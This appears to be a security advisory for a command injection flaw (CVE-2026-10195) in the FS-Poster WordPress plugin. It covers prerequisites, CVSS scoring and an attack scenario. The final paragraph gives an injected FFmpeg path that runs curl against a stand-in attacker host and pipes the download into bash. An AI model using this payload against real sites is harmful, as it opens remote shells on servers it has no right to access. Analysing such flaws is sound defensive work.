FS-Poster CVE-2026-10195

Exploitation requires a valid WordPress account at subscriber level or above - the lowest default authenticated role. The vulnerable endpoint is part of the FS-Poster plugin's REST API, which must be accessible over the network (standard for WordPress REST API). The FFmpeg integration feature within the plugin must be present (it is part of the plugin's core functionality and enabled by default for media processing). There is no requirement for administrative access, plugin configuration changes by the attacker, or any user interaction from a privileged user. Exploitation is limited by the need for at least one authenticated session: sites with completely disabled user registration and no compromised accounts are not directly exposed to drive-by exploitation, but any site with open registration or existing low-privilege user accounts is at high risk.

The CVSS 3.1 score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects the risk profile: network-exploitable, low complexity, no user interaction, and full CIA impact. The only limiting factor is the requirement for a valid WordPress account (subscriber or above). In multi-tenant or membership WordPress environments - common for sites using a social media scheduler plugin - subscriber accounts may be freely registerable, effectively reducing this to near-unauthenticated exploitation in practice. No KEV listing means no confirmed active exploitation at time of analysis, and no EPSS score was provided to quantify exploitation probability. The absence of public POC data is a slight mitigating factor, but the straightforward nature of command injection via a path parameter makes independent exploitation highly feasible by a moderately skilled attacker. This should be treated as a real priority for any WordPress installation running FS-Poster with open user registration.

An attacker registers a free subscriber account on the target WordPress site (or compromises an existing low-privilege credential), then sends a crafted HTTP POST request to the vulnerable FS-Poster REST API endpoint, supplying a malicious FFmpeg path value such as '/usr/bin/ffmpeg; curl attacker.com/shell.sh | bash' or a similar command-separator payload. Because the authorization check is missing and the path value is passed directly to exec(), the web server executes the injected command under the PHP process owner's privileges, granting the attacker a remote shell. No public POC has been identified, but the technique is elementary command injection requiring no special tooling.